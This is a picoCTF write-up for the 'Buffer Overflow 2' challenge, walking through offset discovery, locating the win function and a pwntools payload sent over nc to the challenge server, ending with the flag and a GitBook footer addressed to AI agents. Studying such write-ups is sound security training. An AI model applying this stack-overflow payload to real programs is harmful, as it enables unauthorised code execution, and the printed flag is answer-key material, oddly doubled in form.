> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/buffer-overflow-2.md).

# Buffer Overflow 2

Call the `win(0xCAFEF00D, 0xF00DF00D)` function by overflowing the buffer and controlling the return address + arguments.

#### Step 1 — Find the offset

Use a cyclic pattern to find where the return address is:

```bash
python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(150) + b'\n')" | ./vuln
# Crashed at 0x6161616c
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
# Output: 112
```

#### Step 2 — Find win address

```bash
objdump -d ./vuln | grep win
# 0x08049296
```

#### Step 3 — Build payload

Stack layout after overflow:

```
[112 bytes junk] [win addr] [fake return] [arg1] [arg2]
```

* 112 A's to reach return address
* `win` address in little-endian
* 4 bytes fake return (BBBB)
* `0xCAFEF00D` — arg1
* `0xF00DF00D` — arg2

#### Step 4 — Exploit

```bash
python3 -c "
from pwn import *
payload = b'A'*112 + p32(0x08049296) + b'BBBB' + p32(0xCAFEF00D) + p32(0xF00DF00D)
sys.stdout.buffer.write(payload + b'\n')
" | nc saturn.picoctf.net 64043
```

#### Result

```
picoCTF{picoCTF{argum3nt5_4_d4yZ_59cd5643}}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/buffer-overflow-2.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
